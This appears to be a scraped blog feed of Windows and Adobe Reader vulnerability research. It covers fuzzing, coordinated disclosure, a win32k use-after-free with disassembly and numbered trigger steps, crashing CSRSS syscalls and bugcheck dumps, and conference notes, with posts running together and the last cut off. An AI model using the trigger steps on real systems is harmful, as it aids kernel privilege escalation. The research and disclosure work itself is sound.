Following the release of Adobe Reader 9.5.2 and 10.1.4 and publication of our previous post, we have continued working closely with Adobe and specifically their Product Security Incident Response Team (PSIRT) to ensure 16 pending crashes from previous iteration and new crashes from further iterations can be resolved as soon as possible. In late August, we created a new set of PDF files in the hopes of getting better coverage. There are many features in the standard that are only fully functional in Reader, such as 3D models or certain Javascript features amongst many others, and we wanted to fuzz test these. Generating the corpus took enormous amounts of resources and time; terabytes of public documents has to be run through extremely slow dynamic binary instrumentation-driven parsing. Having a new, greatly improved, and several times larger set of input files at our disposal, we tested its capabilities by running it through the very same algorithms that we used with the previous files, and the results exceeded our wildest expectations: we managed to trigger exactly 568 crashes with unique stack traces during less than a week of running the fuzzing engines (Note: the number of unique stack traces is usually much higher than the number of actual bugs).

All reproducing PDF files were provided to Adobe in a single report on August 27, 2012. The vendor immediately acknowledged reception of the files and sorted through them as soon as possible. Adobe’s PSIRT sent us regular updates regarding their progress on resolving the reported issues, but said that updates for Windows / Mac OS X platforms would not occur until January 2013. Although we suspected that many of the reported issues could represent critical vulnerabilities in the software and the proposed timeline was far beyond our regular 60-day policy, we refrained from making public announcements until today.

In the meanwhile, on October 15, Adobe released a completely new version of Reader marked as “XI”. Although no public security bulletin coincided with this new version’s release, the company incorporated ~50 new security fixes derived from our previous reports – fixes that would only be included in the latest application branch and not found in either the currently supported branches 9 or X. If we look back at the situation at the time, it could be summarized in the following three points:

• Adobe Reader 9 and X for Windows and Mac OS X were subject to ~16 old vulnerabilities from June 2012 which were missed in the August 2012 update.

• Adobe Reader 9 for Linux was vulnerable to all ~50 security bugs from the first iteration of testing.

• Releasing Adobe Reader XI with new patches resulted in the potential disclosure of ~50 new vulnerabilities from the second iteration of testing in both Adobe Reader 9 and X for all platforms.

The above scenario is a good illustration of what happens if certain supported versions of software are provided with security patches, while others are not. In the era of wide availability of professional binary diffing tools, we find it very possible that many of the bugs fixed on the Windows / Mac OS X platforms but not on Linux and/or in version XI but not 9/X could have been successfully found by third-parties by performing comparison between the patched and unpatched versions of software. In fact, this practise was the sole subject of Nikita Tarakanov’s ZeroNights 2012 presentation called “The Art of Binary Diffing or how to find 0-dayz for free”, which only shows that provoking such situations of security inconsistency between equally-supported versions of software can pose a real threat these days.

As of now, the overall security of the Adobe Reader software family has greatly improved compared to 2012. Today’s security bulletin addresses around 80 bugs in Adobe Reader 9 and X, and up to 19 unique bugs in Adobe Reader XI. According to Adobe, only 19 of these were of critical severity and thus the bulletin contains that many CVE identifiers for the most severe problems. Unfortunately, resolving some of the problems have still been deferred to next versions: 20 bugs are still pending in Reader 9, 14 in Reader X and 9 in Reader XI. It should be noted that these deferred bugs have all been investigated by Adobe and either partially fixed (up to a point where they are no longer exploitable) or considered non-exploitable (e.g. infinite recursions).

All in all, we think that Adobe did a lot of solid work in terms of dealing with our reports, fixing the bugs, and providing timely updates. On the other hand, we believe that they could still do better in how security updates are released for the various versions of their products. We are hoping that releasing a collective update for all Reader products today will become a standard followed by the vendor in the future.

Of course, we are planning to run more fuzz testing against the latest Reader (and other software) within the next few days, so you can probably expect more news on the PDF security front to appear on our blogs this quarter :-)

Timeline

• 14th of August 2012: new version for Windows and OS X released, old post is published.
• 15-26th of August 2012: Adobe Reader PDF corpus is created and used in fuzzing.
• 27th of August 2012: a total of 568 crashes are reported to Adobe.
• 27th of August 2012: vendor confirms reception.
• 7th of September 2012: vendor informs about 50 unfixed unique bugs known so far, pushes Reader for Linux release until January.
• 12nd of October 2012: vendor informs about 61 unfixed unique bugs known so far and Reader XI release in mid-November.
• 21st of December 2012: vendor gets back to us with a complete summary of fixes released in January.
• 8th of January 2013: new Adobe Reader versions for all platforms are released, this post is published.

The vulnerability

Some basic information regarding internal structures used by the WOW-related win32k.sys system calls has already been described by Tarjei in his article. In short, GUI threads can call a “public” win32k!xxxRegisterUserHungAppHandlers routine (being a part of the win32k!apfnSimpleCall interface) either through the win32k!NtUserCallTwoParam system call or user32!RegisterUserHungAppHandlers – a convenient user-mode wrapper. The service is purposed to be used within the NTVDM.EXE process, a container for 16-bit DOS apps. It is primarily responsible for allocating a WOWPROCESSINFO kernel structure, assigning it to an internal ppiCurrent->pwpi field within PROCESSINFO (corresponding to the current process) and inserting into a linked list pointed to by a global win32k!gpwpiFirstWow symbol as shown on the following listing:

.text:BF9785DA                 push    'pwsU'          ; Tag
.text:BF9785DF                 push    28h             ; NumberOfBytes
.text:BF9785E1                 call    _Win32AllocPoolWithQuotaTagZInit@8
.text:BF9785E6                 mov     esi, eax
[...]
.text:BF97861F                 call    ds:__imp__PsGetCurrentProcessWin32Process@0
[...]
.text:BF97862E                 mov     [eax+PROCESSINFO.pwpi], esi
.text:BF978634                 mov     eax, _gpwpiFirstWow
.text:BF978639                 mov     [esi], eax
.text:BF97863B                 mov     _gpwpiFirstWow, esi

Relations between WOW structures and pointers after a single xxxRegisterUserHungAppHandlers call.

As you can imagine, the code quality of the vulnerable routine wasn’t (perhaps still isn’t) exceptionally good; it assumed that a process would only call it once during its entire lifespan (the exact same root cause as with Tarjei’s bug), hence it wouldn’t verify whether a WOWPROCESSINFO had already been allocated before, but would simply overwrite the existing ppiCurrent->pwpi pointer and push “duplicate” entries onto the gpwpiFirstWow list, in case xxxRegisterUserHungAppHandlers was called more than one time.

Relations between all WOW structures after calling xxxRegisterUserHungAppHandlers twice, and initializing TBD structures with NtUserInitTask.

Further on, when the NTVDM.EXE process terminates and its internal structures are freed in win32k!DestroyProcessInfo, only the ppiCurrent->pwpi WOWPROCESSINFO structure is removed from the system-wide linked list, leaving all previous allocations untouched (effectively causing a memory leak):

.text:BF8D8DE6                 mov     eax, offset _gpwpiFirstWow
.text:BF8D8DEB                 cmp     _gpwpiFirstWow, edx
.text:BF8D8DF1                 jz      short loc_BF8D8E05
.text:BF8D8DF3
.text:BF8D8DF3 loc_BF8D8DF3:                           ; CODE XREF: DestroyProcessInfo(x)+26D j
.text:BF8D8DF3                 mov     ecx, [eax]
.text:BF8D8DF5                 cmp     ecx, edi
.text:BF8D8DF7                 jz      short loc_BF8D8E01
.text:BF8D8DF9                 mov     eax, ecx
.text:BF8D8DFB                 cmp     [eax], edx
.text:BF8D8DFD                 jz      short loc_BF8D8E05
.text:BF8D8DFF                 jmp     short loc_BF8D8DF3
.text:BF8D8E01 ; ---------------------------------------------------------------------------
.text:BF8D8E01
.text:BF8D8E01 loc_BF8D8E01:                           ; CODE XREF: DestroyProcessInfo(x)+265 j
.text:BF8D8E01                 mov     ecx, [edi]
.text:BF8D8E03                 mov     [eax], ecx
.text:BF8D8E05
.text:BF8D8E05 loc_BF8D8E05:                           ; CODE XREF: DestroyProcessInfo(x)+25F j
.text:BF8D8E05                                         ; DestroyProcessInfo(x)+26B j
.text:BF8D8E05                 push    edx             ; Tag
.text:BF8D8E06                 push    edi             ; P
.text:BF8D8E07                 call    ebx ; ExFreePoolWithTag(x,x) ; ExFreePoolWithTag(x,x)
.text:BF8D8E09                 xor     edi, edi
.text:BF8D8E0B                 mov     [esi+0A4h], edi
.text:BF8D8E11                 jmp     short loc_BF8D8E15

Inconsistent thread pointer in the TDB structure upon terminating the offending VDM container process and freeing internal structures.

The stale WOWPROCESSINFO structures in gpwpiFirstWow are still publicly accessible thanks to the win32k!NtUserPostThreadMessage system service, which is implemented in such a way that it lists all items in gpwpiFirstWow, then for each of them iterates through their corresponding TDB structures (starting from WOWPROCESSINFO.ptdbHead), and if ptdb->hTaskWow is equal to the user-specified “id” parameter, the function takes ptdb->pti as the THREADINFO structure to operate on.

Without going into much detail, the ppiCurrent->pwpi->ptdbHead field can be populated by win32k!InsertTask, called by win32k!zzzInitTask, called by win32k!NtUserInitTask. The overall list of steps required to trigger the vulnerability is as follows:

1. Spawn an NTVDM.EXE subsystem by running a 16-bit application.
2. Inject code into NTVDM and execute it:
   1. Call win32k!xxxRegisterUserHungAppHandlers to register a WOWPROCESSINFO structure used later for exploitation.
   2. Call win32k!NtuserInitTask to populate ppiCurrent->pwpi->ptdbHead with a TDB structure referencing the current thread, and hTaskWow set to a custom value (e.g. 0×1337)
   3. Call win32k!xxxRegisterUserHungAppHandlers again to overwrite ppiCurrent->pwpi and insert a second item into gpwpiFirstWow.
   4. Call ExitProcess, resulting in destroying current thread, and freeing the WOWPROCESSINFO structure allocated in step 2.3. (but not the one from 2.1.)
3. Call win32k!NtuserPostThreadMessage with the “id” parameter set to 0×1337, resulting in the routine using a PTHREADINFO pti address pointing at a freed structure describing the thread destroyed in step 2.1.

Practical exploitation of the vulnerability has proven to be non-trivial, but definitely feasible. Considering the nature of the flaw, it requires that the attacker fills the memory region previously allocated for the THREADINFO structure with controlled data, requiring a high degree of control over the kernel session pools’ management and layout. Reproducing a system bugcheck and potentially developing a reliable exploit is left as an excercise for the reader :-) I hope you enjoyed the post, and Merry Christmas to everyone!

To provide some context, several years ago Alex Ionescu and omega_red from the woodmann.com reverse-engineering forums discovered that invoking certain graphical system calls (i.e. the ones handled by win32k.sys) from within one of a few system processes would result in an unhandled kernel exception, a system bugcheck and potentially an exploitable condition (the original crash was caused by a NULL Pointer Dereference). None of the system processes would ever call the affected system services in a way that would bring the system down, so the only way for an attacker to achieve the same effect would be to inject a malicious payload into one of the highly-privileged processes and execute it – an activity which clearly takes an Administrator account to succeed.  Alex got so intrigued by the post that he performed an in-depth investigation of this weird behavior and later presented the results of his work along with some other win32k.sys security-related findings on the BlackHat US 2008 conference in a presentation called “Pointers and Handles: A Story of Unchecked Assumptions in the Windows Kernel“. In short, the graphical driver blindly dereferenced an internal pointer storing a reference to the caller’s desktop, but since some processes (e.g. CSRSS.EXE) were not assigned to any specific desktop, the kernel module would end up using a NULL pointer as a valid one: as straight-forward as it sounds.

What comes to mind first after reading through the slides is “if there is one win32k.sys syscall with an unchecked assumption like this, there are probably a bunch of others, too?”. There was no other way to find out but check myself, which I happened to do 2.5y ago, but the results have remained unpublished until today :) Let’s start with a very trivial idea: a simple system call fuzzer which when injected into the CSRSS process would indefinitely call completely random graphical services with random parameters. The source code of the one that I was using (Windows 7 64-bit only) can be found here (csrss_win32k_fuzzer.zip, 5,63kB). As it turned out after just a few minutes of running the fuzzer, the outcome greatly exceeded my expectations – I was able to easily reproduce almost twenty different system crashes using just this very simple approach.

Here’s a list of the system calls that I found vulnerable back in 2010; keep in mind that I was performing the tests on Windows 7 SP0, so some of them might have already been fixed (rather unlikely, though):

• win32k!NtUserActivateKeyboardLayout
• win32k!NtUserChangeDisplaySettings
• win32k!NtUserCreateWindowEx
• win32k!NtUserDdeInitialize
• win32k!NtUserFindWindowEx
• win32k!NtUserGetDCEx
• win32k!NtUserGetWindowDC
• win32k!NtUserInvalidateRect
• win32k!NtUserLoadKeyboardLayoutEx
• win32k!NtUserMagControl
• win32k!NtUserRedrawWindow
• win32k!NtUserRemoveProp
• win32k!NtUserSetCapture
• win32k!NtUserSetProp
• win32k!NtUserTrackMouseEvent
• win32k!NtUserUnloadKeyboardLayout
• win32k!NtUserValidateRect
• win32k!NtUserWindowFromPoint

These were all routines that were dereferencing a pointer to an internal structure which hadn’t been initialized before due to the nature of the CSRSS process – all of them crashed on a NULL pointer dereference condition. Given the fact that the fuzzer chooses completely senseless parameters for the system calls, I suspect there there must be at least twice as many of them residing somewhere in the graphical driver. As I analyzed a few of them, I realized that most would be quite difficult to exploit in a reliable manner, and even when successfully exploited… well, it only converts administrative privileges in your system into ring-0 access. Still, I contacted MSRC about the cases, but they apparently haven’t received any attention yet as the crashes still reproduce. If you are curious, feel free to investigate any of them on your own.

Below follow excerpts of a bunch of bugchecks triggered a few years ago that I found particularly interesting. Have fun!

win32k!NtUserValidateRect

FAULTING_IP: 
win32k!xxxRedrawWindow+2e
fffff960`000b62ae 488b4108        mov     rax,qword ptr [rcx+8]

CONTEXT:  fffff880065c8170 -- (.cxr 0xfffff880065c8170)
rax=fffff900c01edc30 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000285 rdi=0000000000000000
rip=fffff960000b62ae rsp=fffff880065c8b50 rbp=fffff880065c8ca0
 r8=0000000000000000  r9=0000000000000285 r10=fffff9600013c9dc
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!xxxRedrawWindow+0x2e:
fffff960`000b62ae 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff9600013ca9e to fffff960000b62ae

STACK_TEXT:  
fffff880`065c8b50 fffff960`0013ca9e : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32k!xxxRedrawWindow+0x2e
fffff880`065c8bb0 fffff800`026991d3 : fffffa80`00af2660 00000000`00000000 00000000`00000000 fffffa80`00af2660 : win32k!NtUserValidateRect+0xc2
fffff880`065c8c20 000007fe`f8002122 : 000007fe`f800121f 00000000`000b000a 000007fe`f80010d8 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0225fa88 000007fe`f800121f : 00000000`000b000a 000007fe`f80010d8 00000000`00000000 00000000`77388fb4 : fuzz+0x2122
00000000`0225fa90 00000000`000b000a : 000007fe`f80010d8 00000000`00000000 00000000`77388fb4 00000000`00000000 : fuzz+0x121f
00000000`0225fa98 000007fe`f80010d8 : 00000000`00000000 00000000`77388fb4 00000000`00000000 00000000`17a52b11 : 0xb000a
00000000`0225faa0 00000000`00000000 : 00000000`77388fb4 00000000`00000000 00000000`17a52b11 00000000`17a52b73 : fuzz+0x10d8

win32k!NtUserSetCapture

FAULTING_IP: 
win32k!xxxCapture+e7
fffff960`0013a14b 8b4828          mov     ecx,dword ptr [rax+28h]

CONTEXT:  fffff88006d7b100 -- (.cxr 0xfffff88006d7b100)
rax=0000000000000000 rbx=0000000000000000 rcx=fffff900c1a0a010
rdx=0000000000000000 rsi=0000000000000002 rdi=0000000000000000
rip=fffff9600013a14b rsp=fffff88006d7bae0 rbp=fffff900c01a93f0
 r8=0000000000000002  r9=0000000000000c00 r10=fffff960000eb818
r11=fffff900c1a0a010 r12=fffff900c1a0a010 r13=0000000000000000
r14=0000000000000001 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
win32k!xxxCapture+0xe7:
fffff960`0013a14b 8b4828          mov     ecx,dword ptr [rax+28h] ds:002b:00000000`00000028=????????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff96000139fa3 to fffff9600013a14b

STACK_TEXT:  
fffff880`06d7bae0 fffff960`00139fa3 : 00000000`00000000 fffff880`06d7bca0 fffff880`06d7bca0 00000000`00000000 : win32k!xxxCapture+0xe7
fffff880`06d7bba0 fffff960`000eb890 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32k!xxxSetCapture+0x5f
fffff880`06d7bbd0 fffff800`026c81d3 : fffffa80`0218a2b0 00000000`7b78c0cb 00000000`00000000 00000000`00000000 : win32k!NtUserSetCapture+0x78
fffff880`06d7bc20 000007fe`f88c2122 : 000007fe`f88c121f 00000000`000b000a 000007fe`f88c10d8 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0216fb98 000007fe`f88c121f : 00000000`000b000a 000007fe`f88c10d8 00000000`00000000 00000000`777a8fb4 : fuzz+0x2122
00000000`0216fba0 00000000`000b000a : 000007fe`f88c10d8 00000000`00000000 00000000`777a8fb4 00000000`7c0e37e1 : fuzz+0x121f
00000000`0216fba8 000007fe`f88c10d8 : 00000000`00000000 00000000`777a8fb4 00000000`7c0e37e1 00000000`00000000 : 0xb000a
00000000`0216fbb0 00000000`00000000 : 00000000`777a8fb4 00000000`7c0e37e1 00000000`00000000 00000000`7c0e3884 : fuzz+0x10d8

win32k!NtUserFindWindowEx

FAULTING_IP: 
win32k!FindWindowEx+b7
fffff960`001f78d7 488b4f60        mov     rcx,qword ptr [rdi+60h]

CONTEXT:  fffff880068e00e0 -- (.cxr 0xfffff880068e00e0)
rax=fffff960003ce600 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff960001f78d7 rsp=fffff880068e0ac0 rbp=fffff880068e0ca0
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000002
r11=0000000000000000 r12=0000000000000000 r13=00000000021df880
r14=0000000000000001 r15=0000000000000001
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!FindWindowEx+0xb7:
fffff960`001f78d7 488b4f60        mov     rcx,qword ptr [rdi+60h] ds:002b:00000000`00000060=????????????????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff960001cfbbf to fffff960001f78d7

STACK_TEXT:  
fffff880`068e0ac0 fffff960`001cfbbf : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32k!FindWindowEx+0xb7
fffff880`068e0b30 fffff800`026861d3 : fffffa80`00ae0b60 00000000`021df848 fffff880`068e0bc8 000007fe`fb5812a0 : win32k!NtUserFindWindowEx+0x167
fffff880`068e0bb0 00000000`7763020a : 00000000`77648a89 00000000`021df890 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`021df828 00000000`77648a89 : 00000000`021df890 00000000`00000000 00000000`00000000 00000000`00000000 : USER32!NtUserFindWindowEx+0xa
00000000`021df830 00000000`776489f8 : 00000000`001ae320 00000000`021dfe28 00000000`00000000 000007fe`fb5817c2 : USER32!InternalFindWindowExA+0x96
00000000`021df8b0 000007fe`fb58132f : 000007fe`fb5810c8 00000000`00000000 00000000`021df858 00000000`021df978 : USER32!FindWindowA+0x18
00000000`021df8f0 000007fe`fb5810c8 : 00000000`00000000 00000000`021df858 00000000`021df978 000007fe`fb580001 : fuzz+0x132f
00000000`021df8f8 00000000`00000000 : 00000000`021df858 00000000`021df978 000007fe`fb580001 000007fe`fb5817c2 : fuzz+0x10c8

win32k!NtUserDdeInitialize

FAULTING_IP: 
win32k!HMFreeObject+f5
fffff960`00159b19 488b8f80000000  mov     rcx,qword ptr [rdi+80h]

CONTEXT:  fffff8800264cee0 -- (.cxr 0xfffff8800264cee0)
rax=fffff900c0084ce0 rbx=fffff900c0403870 rcx=fffff960003381bc
rdx=0000000000000000 rsi=fffff900c019e120 rdi=0000000000000000
rip=fffff96000159b19 rsp=fffff8800264d8c0 rbp=fffff900c019e139
 r8=0000000000000000  r9=0000000000000000 r10=00000000c4000000
r11=fffffa80027efb60 r12=0000000000140259 r13=0000000000000001
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!HMFreeObject+0xf5:
fffff960`00159b19 488b8f80000000  mov     rcx,qword ptr [rdi+80h] ds:002b:00000000`00000080=????????????????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff9600015f252 to fffff96000159b19

STACK_TEXT:  
fffff880`0264d8c0 fffff960`0015f252 : 00000000`00000000 fffff900`c019e178 00000000`00000000 fffff900`c019e120 : win32k!HMFreeObject+0xf5
fffff880`0264d900 fffff960`0015fa20 : 00000000`00000000 fffff900`c019e120 fffff900`c1a95010 00000000`00000000 : win32k!xxxFreeWindow+0x1332
fffff880`0264da00 fffff960`00196276 : fffff900`00000000 fffff900`c2264350 fffff880`0264dca0 fffff900`c2264350 : win32k!xxxDestroyWindow+0x6e0
fffff880`0264dab0 fffff960`00167336 : 00000000`00000000 fffff880`0264dca0 fffff900`c2264350 00000000`00000000 : win32k!xxxDestroyThreadDDEObject+0xc2
fffff880`0264dae0 fffff800`026e41d3 : fffffa80`027efb60 00000000`022ff828 fffff880`0264dbc8 00000000`00000000 : win32k!NtUserDdeInitialize+0x1d6
fffff880`0264dbb0 000007fe`f2e42122 : 000007fe`f2e4121f 00000000`000b000a 000007fe`f2e410d8 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`022ff808 000007fe`f2e4121f : 00000000`000b000a 000007fe`f2e410d8 00000000`00000000 00000000`774a8fb4 : fuzz+0x2122
00000000`022ff810 00000000`000b000a : 000007fe`f2e410d8 00000000`00000000 00000000`774a8fb4 00000000`5cc008b0 : fuzz+0x121f
00000000`022ff818 000007fe`f2e410d8 : 00000000`00000000 00000000`774a8fb4 00000000`5cc008b0 00000000`00000000 : 0xb000a
00000000`022ff820 00000000`00000000 : 00000000`774a8fb4 00000000`5cc008b0 00000000`00000000 00000000`5cc00976 : fuzz+0x10d8

win32k!NtUserCreateWindowEx

FAULTING_IP: 
win32k!InternalGetRealClientRect+f
fffff960`0009d0e3 0fb74142        movzx   eax,word ptr [rcx+42h]

CONTEXT:  fffff88002a8cd70 -- (.cxr 0xfffff88002a8cd70)
rax=0000000000000000 rbx=0000000080000000 rcx=0000000000000000
rdx=fffff88002a8d7b0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600009d0e3 rsp=fffff88002a8d750 rbp=fffff88002a8d888
 r8=0000000000000002  r9=fffff900c05824b0 r10=0000000000000000
r11=0000000000000100 r12=fffff900c21ed250 r13=fffff900c05824b0
r14=fffff900c05824b0 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
win32k!InternalGetRealClientRect+0xf:
fffff960`0009d0e3 0fb74142        movzx   eax,word ptr [rcx+42h] ds:002b:00000000`00000042=????
Resetting default scope

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff9600009cef6 to fffff9600009d0e3

STACK_TEXT:  
fffff880`02a8d750 fffff960`0009cef6 : 00000000`80000000 00000000`00000000 fffff880`0000002c 00000000`00000002 : win32k!InternalGetRealClientRect+0xf
fffff880`02a8d780 fffff960`000bced8 : 00000000`80000000 fffff880`02a8dca0 00000000`00000000 00000000`00000000 : win32k!SetTiledRect+0x5a
fffff880`02a8d7e0 fffff960`000bff98 : 00000000`00000000 00000000`00000000 fffff880`02a8dae8 00000000`00000000 : win32k!xxxCreateWindowEx+0x18e4
fffff880`02a8da50 fffff800`026921d3 : fffffa80`02584b60 fffff880`02a8dad0 fffff880`02a8dae8 00000000`00000000 : win32k!NtUserCreateWindowEx+0x554
fffff880`02a8dbb0 00000000`76d1255a : 00000000`76d129d7 00000000`0224f308 00000000`00000000 00000000`0224f308 : nt!KiSystemServiceCopyEnd+0x13
00000000`0224eed8 00000000`76d129d7 : 00000000`0224f308 00000000`00000000 00000000`0224f308 00000000`0224f308 : USER32!NtUserCreateWindowEx+0xa
00000000`0224eee0 00000000`76d12718 : 00000000`00000018 00000000`80000000 00000000`00000000 00000000`00000000 : USER32!VerNtUserCreateWindowEx+0x27c
00000000`0224f250 00000000`76d0c9a0 : 00000000`00000000 00000000`00413f90 00000000`0224fa28 00000000`00000000 : USER32!CreateWindowEx+0x404
00000000`0224f3a0 000007fe`f44e13fa : 00000000`0224f480 00000000`76f725a8 000007fe`00000000 00000000`00001112 : USER32!CreateWindowExA+0x70
00000000`0224f420 00000000`0224f480 : 00000000`76f725a8 000007fe`00000000 00000000`00001112 000007fe`00000000 : fuzz+0x13fa
00000000`0224f428 00000000`76f725a8 : 000007fe`00000000 00000000`00001112 000007fe`00000000 000007fe`00000000 : 0x224f480
00000000`0224f430 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlpFreeHeap+0x528

Secondly, I have just recently had a presentation on ZeroNights 2012 in Moscow regarding reference counting and how its implementations found in the Windows kernel would often lead to exploitable local elevation of privileges conditions. The slides are available for over a week now – if you haven’t checked them out yet, be sure to take a look: “Windows Kernel Reference Count Vulnerabilities – Case Study“. The conference overall was really good – I enjoyed several interesting, (non-)technical talks by @thegrugq (“OPSEC: Because Jail is for wuftpd”), @NTarakanov (“The Art of Binary Diffing or how to find 0-dayz for free”), @d_olex (“Applied anti-forensics: rootkits, kernel vulnerabilities and then some”), @Agarri_FR (“That’s why I love XML hacking!”) and a few more. Additionally, the organizers really seemed to be trying their best to ensure painless and enjoyable trip and stay in Russia. One major drawback of the event is that even though it’s advertised to be an “international” conference, most of the talks were given in Russian (sometimes with live English translation), and so was the audience – I’m not quite sure how many foreign people (apart from the speakers) you could meet there – probably not too many :) Still, it’s a great idea to visit the conference and meet some of the leet Russian hackers that you wouldn’t have a chance to speak with, otherwise.

Last but not least, another issue of the great Hack In The Box Magazine was released just a few days ago – it’s now the ninth edition! To complete the tradition, I took care of the “Windows Security” section this time as well, preparing a brief article with a long title: “Memory Copy Functions in Local Windows Kernel Exploitation”. In short, some implementations of the standard memcpy and memmove functions tend to write data backwards (e.g. starting from the end of the destination memory region rather tham from the beginning) under certain circumstances, which appears to be an useful observation if the attacker has a certain degree of control over the dst, src and size parameters. I hope you will enjoy it.

The magazine can be downloaded from here (HITB-Ezine-Issue-009.pdf, 11.6 MB)

Contents table

Windows Security

Bot Wars – The Game of Win32/64 System Takeover (04)
by Aditya K Sood, IOActive

Memory Copy Functions in Local Windows Kernel Exploitation (12)
by Mateusz “j00ru” Jurczyk

Mobile Security

Android Persistent Threats (20)
by Riley Hassell, CEO of Privateer Labs (A C5i Company)

Hardware Security

Does the Analysis of Electrical Current Consumption of Embedded Systems could Lead to Code Reversing? (28)
by Yann Allain & Julien Moinard

Web  Application Security

To Hack an ASP.Net Site? It is Difficult, but Possible! (48)
by V. Kochetkov

Mobile Security

A Brief Introduction to VEGA (66)
by David Mirza Ahmad

Simply put, the operating system operates on an enormous number of structures, unions and flags defined and developed throughout the 20+ years of Windows being around. Many of them are used internally within userland, kernel space or both parts of a specific functionality implementation, while typical developers never get a chance to even learn about them. Often times, however, these constructs are used to actively communicate with the operating system from within third-party software, be it a regular word processor or a custom device driver for an uncommon sound card. While reading through the Microsoft documentation library (perhaps this also applies to other environments?), it is exceedingly easy to stumble upon a sentence like “don’t use it”, “always set it to zero” or “if you use it, Windows might format your C: disk you can encounter undefined behavior”. It always sounds very mysterious, but in reality, there can be only several different reasons for that:

• The item is in fact reserved for future use and disregarded by the current implementation, thus one could get away with setting it to an unsupported value at this point, but might face compatibility issues when the parameter, field or flag becomes fully functional. Not very interesting from a security or research perspective.

• The item is supported, but reserved for use in a different context: for example, employed within a system process with higher privileges or a system DLL.

• The item is supported, but Windows reserves the right to behave in an undefined way in case a specifically described (invalid) state of a structure, one of its field or a parameter is encountered.

Now, providing the user with an ability to even attempt to perform forbidden operations is often tricky and very easy to get wrong. In theory, all components of the operating system should perform strict verification in order to determine whether all input data obtained from an untrusted source (in a given security model) meets the requirements and restrictions established in the documentation. What we observe is different though – Windows often lacks proper sanitization in such cases. Additionally, rather than working in a security by obscurity manner (“it’s not clear how it works, I’ll just leave it alone”), such reserved or undefined places are usually a clear indicator that something fishy is going on there and it might be worth a deeper investigation. After all, it’s not such a rare phenomenon that the operating system trusts that a specific interface would never be used in an unexpected way – and if it does, we might end up being able to perform certain operations that we wouldn’t be normally allowed to (we’re talking privilege escalation here), or just finding out how a specific system mechanism works internally. One great example of the latter is the KEY_CREATE_LINK flag: reserved for system use, but reverse engineered and used to build third-party applications that can create registry symbolic links, despite it being formally not supported! In fact, when we looked at it several years back, the mechanism turned out to have never been properly reviewed, so we managed to spot quite a few vulnerabilities related to this very functionality, all resolved by MS10-021. Also, I don’t have to mention that when “undefined behavior” means a buffer overflow within a kernel pool allocation, it’s really appealing, too :)

Grepping through the entire MSDN library in search of those special keywords is a very intuitive idea that comes to mind. I have recently done just that, but it appears that I already have a lot of plans for the few incoming months, so I decided to share these logs with a wider audience – hopefully you will be able to put them to good use by finding yourself a good research subject, or at least spend a nice evening looking through the list for entertainment purposes :) Please don’t mind my poor HTML/CSS skills, I am really not a website designer…

Note: I have put together a list of seven phrases that I found most frequently indicating interesting spots in the documentation. If you have any more cool ideas of what to look for, let me know and I’ll consider them!

Links

Microsoft MSDN User-Mode Library keyword grep report: http://j00ru.vexillium.org/msdn/user.html.

Microsoft MSDN Kernel-Mode Library keyword grep report: http://j00ru.vexillium.org/msdn/kernel.html.

]]> http://j00ru.vexillium.org/?feed=rss2&p=1421 2 http://j00ru.vexillium.org/?p=1393 http://j00ru.vexillium.org/?p=1393#comments Sat, 10 Nov 2012 03:08:33 +0000 j00ru http://j00ru.vexillium.org/?p=1393 To stand by my claim that the Microsoft Windows operating system has been built on the fundamental assumption that administrative privileges would always be equivalent to granting the ability to run arbitrary ring-0 code, I have decided to briefly discuss yet another portion of some Windows internals and how they could be easily misused by a system administrator to unlawfully cross the admin / kernel boundary on a X86-64 platform, and effectively elevate his rights on the machine by loading an unsigned device driver of his choice. The technique is directly related to CSRSS (the infamous Client/Server Runtime Subsystem), a part of Windows that has likely motivated most of the dirty relict hacks in the kernel that still remain visible in the most recent versions of the OS.

